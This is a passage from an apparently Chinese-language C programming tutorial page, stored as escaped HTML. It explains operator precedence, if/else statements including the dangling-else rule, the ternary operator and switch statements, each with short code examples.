2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e运算符的优先级顺序很复杂。下面是部分运算符的优先级顺序(按照优先级从高到低排列)。\u003c/p\u003e\u003cul\u003e\u003cli\u003e圆括号(\u003ccode\u003e()\u003c/code\u003e)\u003c/li\u003e\u003cli\u003e自增运算符(\u003ccode\u003e++\u003c/code\u003e),自减运算符(\u003ccode\u003e--\u003c/code\u003e)\u003c/li\u003e\u003cli\u003e一元运算符(\u003ccode\u003e+\u003c/code\u003e和\u003ccode\u003e-\u003c/code\u003e)\u003c/li\u003e\u003cli\u003e乘法(\u003ccode\u003e*\u003c/code\u003e),除法(\u003ccode\u003e/\u003c/code\u003e)\u003c/li\u003e\u003cli\u003e加法(\u003ccode\u003e+\u003c/code\u003e),减法(\u003ccode\u003e-\u003c/code\u003e)\u003c/li\u003e\u003cli\u003e关系运算符(\u003ccode\u003e\u0026lt;\u003c/code\u003e、\u003ccode\u003e\u0026gt;\u003c/code\u003e等)\u003c/li\u003e\u003cli\u003e赋值运算符(\u003ccode\u003e=\u003c/code\u003e)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e由于圆括号的优先级最高,可以使用它改变其他运算符的优先级。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = (\u003cspan class=\"number\"\u003e3\u003c/span\u003e + \u003cspan class=\"number\"\u003e4\u003c/span\u003e) * \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,由于添加了圆括号,加法会先于乘法进行运算。\u003c/p\u003e\u003cp\u003e完全记住所有运算符的优先级没有必要,解决方法是多用圆括号,防止出现意料之外的情况,也有利于提高代码的可读性。\u003c/p\u003e\u003ch2 id=\"流程控制\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%B5%81%E7%A8%8B%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流程控制\"\u003e\u003c/a\u003e流程控制\u003c/h2\u003e\u003cp\u003eC 语言的程序是顺序执行,即先执行前面的语句,再执行后面的语句。开发者如果想要控制程序执行的流程,就必须使用流程控制的语法结构,主要是条件执行和循环执行。\u003c/p\u003e\u003ch3 id=\"if-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#if-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"if 语句\"\u003e\u003c/a\u003eif 语句\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eif\u003c/code\u003e语句用于条件判断,满足条件时,就执行指定的语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expression) statement\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面式子中,表达式\u003ccode\u003eexpression\u003c/code\u003e为真(值不为\u003ccode\u003e0\u003c/code\u003e)时,就执行\u003ccode\u003estatement\u003c/code\u003e语句。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eif\u003c/code\u003e后面的判断条件\u003ccode\u003eexpression\u003c/code\u003e外面必须有圆括号,否则会报错。语句体部分\u003ccode\u003estatement\u003c/code\u003e可以是一个语句,也可以是放在大括号里面的复合语句。下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x == \u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x is 10\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,当变量\u003ccode\u003ex\u003c/code\u003e为\u003ccode\u003e10\u003c/code\u003e时,就会输出一行文字。对于只有一个语句的语句体,语句部分通常另起一行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x == \u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x is 10\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果有多条语句,就需要把它们放在大括号里面,组成一个复合语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (line_num == MAX_LINES) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e line_num = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e page_num++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eif\u003c/code\u003e语句可以带有\u003ccode\u003eelse\u003c/code\u003e分支,指定条件不成立时(表达式\u003ccode\u003eexpression\u003c/code\u003e的值为\u003ccode\u003e0\u003c/code\u003e),所要执行的代码。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expression) statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i \u0026gt; j)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e max = i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e max = j;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果\u003ccode\u003eelse\u003c/code\u003e的语句部分多于一行,同样可以把它们放在大括号里面。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eelse\u003c/code\u003e可以与另一个\u003ccode\u003eif\u003c/code\u003e语句连用,构成多重判断。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expression)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"title function_\"\u003eif\u003c/span\u003e \u003cspan class=\"params\"\u003e(expression)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"title function_\"\u003eif\u003c/span\u003e \u003cspan class=\"params\"\u003e(expression)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果有多个\u003ccode\u003eif\u003c/code\u003e和\u003ccode\u003eelse\u003c/code\u003e,可以记住这样一条规则,\u003ccode\u003eelse\u003c/code\u003e总是跟最接近的\u003ccode\u003eif\u003c/code\u003e匹配。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number \u0026gt; \u003cspan class=\"number\"\u003e6\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number \u0026lt; \u003cspan class=\"number\"\u003e12\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The number is more than 6, less than 12.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;It is wrong number.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eelse\u003c/code\u003e部分匹配最近的\u003ccode\u003eif\u003c/code\u003e(即\u003ccode\u003enumber \u0026lt; 12\u003c/code\u003e),所以如果\u003ccode\u003enumber\u003c/code\u003e等于6,就不会执行\u003ccode\u003eelse\u003c/code\u003e的部分。\u003c/p\u003e\u003cp\u003e这样很容易出错,为了提供代码的可读性,建议使用大括号,明确\u003ccode\u003eelse\u003c/code\u003e匹配哪一个\u003ccode\u003eif\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number \u0026gt; \u003cspan class=\"number\"\u003e6\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number \u0026lt; \u003cspan class=\"number\"\u003e12\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The number is more than 6, less than 12.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;It is wrong number.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,使用了大括号,就可以清晰地看出\u003ccode\u003eelse\u003c/code\u003e匹配外层的\u003ccode\u003eif\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"三元运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%B8%89%E5%85%83%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"三元运算符 ?\"\u003e\u003c/a\u003e三元运算符 ?\u003c/h3\u003e\u003cp\u003eC 语言有一个三元表达式\u003ccode\u003e?:\u003c/code\u003e,可以用作\u003ccode\u003eif...else\u003c/code\u003e的简写形式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;expression1\u0026gt; ? \u0026lt;expression2\u0026gt; : \u0026lt;expression3\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个操作符的含义是,表达式\u003ccode\u003eexpression1\u003c/code\u003e如果为\u003ccode\u003etrue\u003c/code\u003e(非0值),就执行\u003ccode\u003eexpression2\u003c/code\u003e,否则执行\u003ccode\u003eexpression3\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个例子,返回两个值之中的较大值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(i \u0026gt; j) ? i : j;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码等同于下面的\u003ccode\u003eif\u003c/code\u003e语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i \u0026gt; j)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e j;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"switch-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#switch-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"switch 语句\"\u003e\u003c/a\u003eswitch 语句\u003c/h3\u003e\u003cp\u003eswitch 语句是一种特殊形式的 if…else 结构,用于判断条件有多个结果的情况。它把多重的\u003ccode\u003eelse if\u003c/code\u003e改成更易用、可读性更好的形式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (expression) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e value1: statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e value2: statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e: statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,根据表达式\u003ccode\u003eexpression\u003c/code\u003e不同的值,执行相应的\u003ccode\u003ecase\u003c/code\u003e分支。如果找不到对应的值,就执行\u003ccode\u003edefault\u003c/code\u003e分支。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (grade) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;False\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;True\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Illegal\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,根据变量\u003ccode\u003egrade\u003c/code\u003e不同的值,会执行不同的\u003ccode\u003ecase\u003c/code\u003e分支。如果等于\u003ccode\u003e0\u003c/code\u003e,执行\u003ccode\u003ecase 0\u003c/code\u003e的部分;如果等于\u003ccode\u003e1\u003c/code\u003e,执行\u003ccode\u003ecase 1\u003c/code\u003e的部分;否则,执行\u003ccode\u003edefault\u003c/code\u003e的部分。\u003ccode\u003edefault\u003c/code\u003e表示处理以上所有\u003ccode\u003ecase\u003c/code\u003e都不匹配的情况。\u003c/p\u003e\u003cp\u003e每个\u003ccode\u003ecase\u003c/code\u003e语句体的结尾,都应该有一个\u003ccode\u003ebreak\u003c/code\u003e语句,作用是跳出整个\u003ccode\u003eswitch\u003c/code\u003e结构,不再往下执行。如果缺少\u003ccode\u003ebreak\u003c/code\u003e,就会导致继续执行下一个\u003ccode\u003ecase\u003c/code\u003e或\u003ccode\u003edefault\u003c/code\u003e分支。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (grade) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;False\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 